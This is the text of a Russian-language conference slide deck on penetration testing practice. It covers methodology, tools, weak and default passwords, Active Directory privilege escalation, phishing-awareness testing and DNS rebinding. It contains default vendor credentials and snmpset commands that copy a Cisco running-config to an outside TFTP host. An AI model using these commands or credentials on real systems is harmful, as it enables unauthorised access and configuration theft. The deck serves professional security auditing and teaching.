SlideShare a Scribd company logo
Penetration testing AS IS Дмитрий Евтеев ( Positive  Technologies)
Penetration testing internals Тестирование на проникновение != моделирование действий (не)реального  злоумышленника Тестирование на проникновение != инструментальное сканирование с ручной верификацией уязвимостей Тестирование на проникновение – это комплекс мероприятий, направленных на оценку текущего состояния процессов обеспечения ИБ тестирование на преодоление защиты это один из методов проведения аудита ИБ
Методика С одной стороны это Open Source Security Testing Methodology Manual (OSSTMM) Web Application Security Consortium (WASC) Open Web Application Security Project (OWASP) … С другой стороны это Center of Internet Security (CIS) guides Стандарты серии  ISO 2700x …
Возможности Механизм  N … X Управление инцидентами Некоторые действия атакующей стороны были выявлены, но не были идентифицированы как атака. 2 Механизм  N … X
Цели Высокоуровневые Внутренняя политика (пентест, как инструмент воздействия) Оценка текущего состояния процессов обеспечения ИБ Так надо ( compliance ) Технологические Осуществить НСД во внутреннюю сеть со стороны сети Интернет Получить максимальные привилегии в основных инфраструктурных системах ( Active Directory,  сетевое оборудование, СУБД,  ERP  и пр.) Получить доступ к определенным информационным ресурсам Получить доступ к определенным данным (информации)
Подходы Периметровый пентест (с последующим развитием атаки во внутренней сети) С уведомлением и без уведомления администраторов Анализ защищенности беспроводных сетей Внутренний пентест С рабочего места среднестатистического пользователя сети Из выбранного сегмента сети Тестирование отдельного компонента информационной системы (анализ защищенности) Черный-, серый- белый-ящик Оценка осведомленности сотрудников компании в вопросах информационной безопасности
Реальная атака  VS  тестирование на проникновение Для непосредственного исполнителя пентест – это ВЗЛОМ! Ограничения Соблюдение законов РФ Ограниченное время Минимизация воздействия Отсутствие услуги тестирования типа  DDoS Неудобства Согласование действий (порой это доходит до абсурда!) Ответственность / Аккуратность Преимущества Не нужно скрывать свою активность Упрощение процесса по идентификации периметра сети Возможность перехода к сер��му- и белому-ящику
Используемые инструменты Positive Technologies MaxPatrol Nmap/dnsenum/dig … … Immunity Canvas (VulnDisco, Agora Pack, Voip Pack…) Metasploit … THC Hydra/THC PPTP bruter/ncrack … Cain and Abel/Wireshark Aircrack … Yersinia … Браузер, блокнот…
Используемые инструменты База знаний методов использования уязвимостей информационных систем
Проблема защиты  Web -приложений Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» (данные за 2009 год,  http://ptsecurity.ru/analytics.asp )
Примеры пентестов : Web- приложения Что такое пентест веб-приложения методикой черного-ящика ? Web- сервер Рабочее место аудитора Проверка 1 Проверка  N Найдена уязвимость Уязвимость 1: подбор пароля Impact: доступ к приложению (с ограниченными привилегиями) Уязвимость 2: внедрение операторов SQL Impact: только чтение файлов (включена опция magic quotes) Уязвимость 3: выход за каталог Impact: только чтение файлов (потенциально LFI) Уязвимость 4: предсказуемое значение идентификатора загружаемого файла Уязвимость 3 + Уязвимость 4 = Impact: выполнение команд на сервере Следующий шаг - РАЗВИТИЕ АТАКИ
Проблема слабых паролей Используется рекомендованная политика по заданию паролей Пароль администратора такого домена ? ( совпадает с логином )
Примеры пентестов :  Подбор паролей (дефолты) Общепринятые admin:123456 Administrator:P@ssw0rd … SAP (DIAG)  SAP*: 06071992, PASS манданты:   000, 001, 066, все новые (RFC)  SAPCPIC: ADMIN манданты:000, 001, 066, все новые … Oracle sys:manager sys:change_on_install … Cisco Cisco:Cisco … …
Примеры пентестов :  Подбор паролей ( MS Exchange 0day )
Примеры пентестов :  Привет Павлик  :) snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.31337 integer 4 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.31337 address <tftp_host> snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.31337 string running-config snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 6
Проблема разграничения доступа Сетевой доступ Архитектура сети (ДМЗ, технологическая сеть, пользовательский сегмент, тестовая среда) Удаленный доступ к сети Доступ к данным Общие ресурсы (пароли в открытом виде, резервные копии данных, различная чувствительная информация) Web- приложения, СУБД,  ERP
Проблема управления доступом Разделение полномочий между администраторами Пользователи с повышенными привилегиями Сервисы (!) с не требуемым уровнем доступа Общая проблема управления идентификаторами
Примеры пентестов :  Использование уязвимостей CANVAS && Metasploit
Примеры пентестов :  Расширение привилегий в  Active Directory Вариант 1 :  Подбор пароля Вариант 2 :  Использование уязвимостей в сервисах на контроллерах домена Вариант 3 :  Проведение атаки  Pass-the-hash Вариант  4:  Создание нового пользователя с доменного компьютера, который посещает администратор домена  (eq incognito, wce, …) Вариант 5 :  Проведение атаки типа «Отравление  ARP  кэша» (например, перехват сессии  RDP,  понижение уровня проверки подлинности до  LM ) Вариант  6:  Проведение атаки  NTLM Relay Вариант  7:  Нахождение   и восстановление  system state  домена (например, после успешной атаки на сервер резервного копирования) Вариант 8 :  Получение расширенных привилегий за счет других систем (пример, контроль над записями в корневых  DNS  компании) Вариант 9 :  Получение расширенных привилегий за счет уязвимостей других систем (хранение паролей с использованием обратимого шифрования, использование небезопасных протоколов и т.д.) Вариант  N …
Примеры пентестов :  Анализ защищенности Сканирование сети Успешно подобран пароль! Эксплуатация  SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы Внутренний пентест Установка сканера  MaxPatrol Поиск уязвимостей Эксплуатация уязвимостей Перемещение в ИС ЦО Проведение атаки на ресурсы ЦО Получение максимальных привилегий во всей сети!
Примеры пентестов :  Анализ защищенности
Примеры пентестов :  Беспроводные сети
Примеры пентестов :  Оценка эффективности программы повышения осведомленности Рассылка провоцирующих сообщений по электронной почте Рассылка провоцирующих сообщений с помощью системы ICQ (и других IM) Распространение носителей информации, содержащих провоцирующие данные Проведение опроса среди сотрудников Живой разговор (по телефону,  skype )
Примеры пентестов :  Пример набора проверок Описание сообщения Реализуемая атака Контролируемые события Сообщение от авторитетного лица, содержащее приложенный исполняемый файл. Распространение сетевых червей. Целевое заражение системы троянской программой. Открытие почтового сообщения. Запуск приложенного файла. Сообщение от внутреннего лица, содержащее ссылку на Web-сайт. Ссылка указывает на исполняемый файл.  Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Загрузка файла с Web-сервера. Запуск файла. Сообщение от ��вторитетного лица, содержащее ссылку на Web-сайт. Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Переход по предложенной ссылке.
Примеры пентестов :  Оценка эффективности программы повышения осведомленности
Будущее  client-side  атак за « DNS rebinding » Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) Обход ограничений  Same origin policy Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к  w eb-приложению через браузер пользователя. BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html
Уязвимость типа « Anti DNS Pinning » Контролируемый  web- сервер www.hack.example  (1.1.1.1) MS Project Server 192.168.0.1 Прочие 1. Пользователь обращается  к внешнему  web- серверу Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name Cisco SDM 192.168.0.2
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий  java-script , например, через 2 секунды делает повторное обращение Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 3. Атакующий блокирует доступ к  web- серверу Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени  www.hack.example Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 5.  www.hack.example   IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET / HTTP/1.1 Host: www.hack.example … Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 5.  www.hack.example   IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 7.  Образуется полноценный канал для работы с внутренним ресурсом Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Резюме Тестирование на проникновение  –  это комплекс мероприятий, позволяющий провести эффективную оценку текущего состояния процессов обеспечения информационной безопасности Тестирование на проникновение  –  это поиск и использование недостатков в процессах обеспечения информационной безопасности управление уязвимостями управление конфигурациями управление инцидентами управление безопасностью веб-приложений, СУБД,  ERP,  проводными и беспроводными сетями и пр. etc
PS.  Тестирование на проникновение бывает разным…
Спасибо за внимание! [email_address] http://devteev.blogspot.com/

More Related Content

Penetration testing (AS IS)

  • 1. Penetration testing AS IS Дмитрий Евтеев ( Positive Technologies)
  • 2. Penetration testing internals Тестирование на проникновение != моделирование действий (не)реального злоумышленника Тестирование на проникновение != инструментальное сканирование с ручной верификацией уязвимостей Тестирование на проникновение – это комплекс мероприятий, направленных на оценку текущего состояния процессов обеспечения ИБ тестирование на преодоление защиты это один из методов проведения аудита ИБ
  • 3. Методика С одной стороны это Open Source Security Testing Methodology Manual (OSSTMM) Web Application Security Consortium (WASC) Open Web Application Security Project (OWASP) … С другой стороны это Center of Internet Security (CIS) guides Стандарты серии ISO 2700x …
  • 4. Возможности Механизм N … X Управление инцидентами Некоторые действия атакующей стороны были выявлены, но не были идентифицированы как атака. 2 Механизм N … X
  • 5. Цели Высокоуровневые Внутренняя политика (пентест, как инструмент воздействия) Оценка текущего состояния процессов обеспечения ИБ Так надо ( compliance ) Технологические Осуществить НСД во внутреннюю сеть со стороны сети Интернет Получить максимальные привилегии в основных инфраструктурных системах ( Active Directory, сетевое оборудование, СУБД, ERP и пр.) Получить доступ к определенным информационным ресурсам Получить доступ к определенным данным (информации)
  • 6. Подходы Периметровый пентест (с последующим развитием атаки во внутренней сети) С уведомлением и без уведомления администраторов Анализ защищенности беспроводных сетей Внутренний пентест С рабочего места среднестатистического пользователя сети Из выбранного сегмента сети Тестирование отдельного компонента информационной системы (анализ защищенности) Черный-, серый- белый-ящик Оценка осведомленности сотрудников компании в вопросах информационной безопасности
  • 7. Реальная атака VS тестирование на проникновение Для непосредственного исполнителя пентест – это ВЗЛОМ! Ограничения Соблюдение законов РФ Ограниченное время Минимизация воздействия Отсутствие услуги тестирования типа DDoS Неудобства Согласование действий (порой это доходит до абсурда!) Ответственность / Аккуратность Преимущества Не нужно скрывать свою активность Упрощение процесса по идентификации периметра сети Возможность перехода к серому- и белому-ящику
  • 8. Используемые инструменты Positive Technologies MaxPatrol Nmap/dnsenum/dig … … Immunity Canvas (VulnDisco, Agora Pack, Voip Pack…) Metasploit … THC Hydra/THC PPTP bruter/ncrack … Cain and Abel/Wireshark Aircrack … Yersinia … Браузер, блокнот…
  • 9. Используемые инструменты База знаний методов использования уязвимостей информационных систем
  • 10. Проблема защиты Web -приложений Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» (данные за 2009 год, http://ptsecurity.ru/analytics.asp )
  • 11. Примеры пентестов : Web- приложения Что такое пентест веб-приложения методикой черного-ящика ? Web- сервер Рабочее место аудитора Проверка 1 Проверка N Найдена уязвимость Уязвимость 1: подбор пароля Impact: доступ к приложению (с ограниченными привилегиями) Уязвимость 2: внедрение операторов SQL Impact: только чтение файлов (включена опция magic quotes) Уязвимость 3: выход за каталог Impact: только чтение файлов (потенциально LFI) Уязвимость 4: предсказуемое значение идентификатора загружаемого файла Уязвимость 3 + Уязвимость 4 = Impact: выполнение команд на сервере Следующий шаг - РАЗВИТИЕ АТАКИ
  • 12. Проблема слабых паролей Используется рекомендованная политика по заданию паролей Пароль администратора такого домена ? ( совпадает с логином )
  • 13. Примеры пентестов : Подбор паролей (дефолты) Общепринятые admin:123456 Administrator:P@ssw0rd … SAP (DIAG) SAP*: 06071992, PASS манданты: 000, 001, 066, все новые (RFC) SAPCPIC: ADMIN манданты:000, 001, 066, все новые … Oracle sys:manager sys:change_on_install … Cisco Cisco:Cisco … …
  • 14. Примеры пентестов : Подбор паролей ( MS Exchange 0day )
  • 15. Примеры пентестов : Привет Павлик :) snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.31337 integer 4 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.31337 address <tftp_host> snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.31337 string running-config snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 6
  • 16. Проблема разграничения доступа Сетевой доступ Архитектура сети (ДМЗ, технологическая сеть, пользовательский сегмент, тестовая среда) Удаленный доступ к сети Доступ к данным Общие ресурсы (пароли в открытом виде, резервные копии данных, различная чувствительная информация) Web- приложения, СУБД, ERP
  • 17. Проблема управления доступом Разделение полномочий между администраторами Пользователи с повышенными привилегиями Сервисы (!) с не требуемым уровнем доступа Общая проблема управления идентификаторами
  • 18. Примеры пентестов : Использование уязвимостей CANVAS && Metasploit
  • 19. Примеры пентестов : Расширение привилегий в Active Directory Вариант 1 : Подбор пароля Вариант 2 : Использование уязвимостей в сервисах на контроллерах домена Вариант 3 : Проведение атаки Pass-the-hash Вариант 4: Создание нового пользователя с доменного компьютера, который посещает администратор домена (eq incognito, wce, …) Вариант 5 : Проведение атаки типа «Отравление ARP кэша» (например, перехват сессии RDP, понижение уровня проверки подлинности до LM ) Вариант 6: Проведение атаки NTLM Relay Вариант 7: Нахождение и восстановление system state домена (например, после успешной атаки на сервер резервного копирования) Вариант 8 : Получение расширенных привилегий за счет других систем (пример, контроль над записями в корневых DNS компании) Вариант 9 : Получение расширенных привилегий за счет уязвимостей других систем (хранение паролей с использованием обратимого шифрования, использование небезопасных протоколов и т.д.) Вариант N …
  • 20. Примеры пентестов : Анализ защищенности Сканирование сети Успешно подобран пароль! Эксплуатация SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы Внутренний пентест Установка сканера MaxPatrol Поиск уязвимостей Эксплуатация уязвимостей Перемещение в ИС ЦО Проведение атаки на ресурсы ЦО Получение максимальных привилегий во всей сети!
  • 21. Примеры пентестов : Анализ защищенности
  • 22. Примеры пентестов : Беспроводные сети
  • 23. Примеры пентестов : Оценка эффективности программы повышения осведомленности Рассылка провоцирующих сообщений по электронной почте Рассылка провоцирующих сообщений с помощью системы ICQ (и других IM) Распространение носителей информации, содержащих провоцирующие данные Проведение опроса среди сотрудников Живой разговор (по телефону, skype )
  • 24. Примеры пентестов : Пример набора проверок Описание сообщения Реализуемая атака Контролируемые события Сообщение от авторитетного лица, содержащее приложенный исполняемый файл. Распространение сетевых червей. Целевое заражение системы троянской программой. Открытие почтового сообщения. Запуск приложенного файла. Сообщение от внутреннего лица, содержащее ссылку на Web-сайт. Ссылка указывает на исполняемый файл. Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Загрузка файла с Web-сервера. Запуск файла. Сообщение от авторитетного лица, содержащее ссылку на Web-сайт. Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Переход по предложенной ссылке.
  • 25. Примеры пентестов : Оценка эффективности программы повышения осведомленности
  • 26. Будущее client-side атак за « DNS rebinding » Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) Обход ограничений Same origin policy Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к w eb-приложению через браузер пользователя. BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html
  • 27. Уязвимость типа « Anti DNS Pinning » Контролируемый web- сервер www.hack.example (1.1.1.1) MS Project Server 192.168.0.1 Прочие 1. Пользователь обращается к внешнему web- серверу Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name Cisco SDM 192.168.0.2
  • 28. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий java-script , например, через 2 секунды делает повторное обращение Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 3. Атакующий блокирует доступ к web- серверу Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 29. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени www.hack.example Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 30. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET / HTTP/1.1 Host: www.hack.example … Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 31. Уязвимость типа « Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 7. Образуется полноценный канал для работы с внутренним ресурсом Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 32. Резюме Тестирование на проникновение – это комплекс мероприятий, позволяющий провести эффективную оценку текущего состояния процессов обеспечения информационной безопасности Тестирование на проникновение – это поиск и использование недостатков в процессах обеспечения информационной безопасности управление уязвимостями управление конфигурациями управление инцидентами управление безопасностью веб-приложений, СУБД, ERP, проводными и беспроводными сетями и пр. etc
  • 33. PS. Тестирование на проникновение бывает разным…
  • 34. Спасибо за внимание! [email_address] http://devteev.blogspot.com/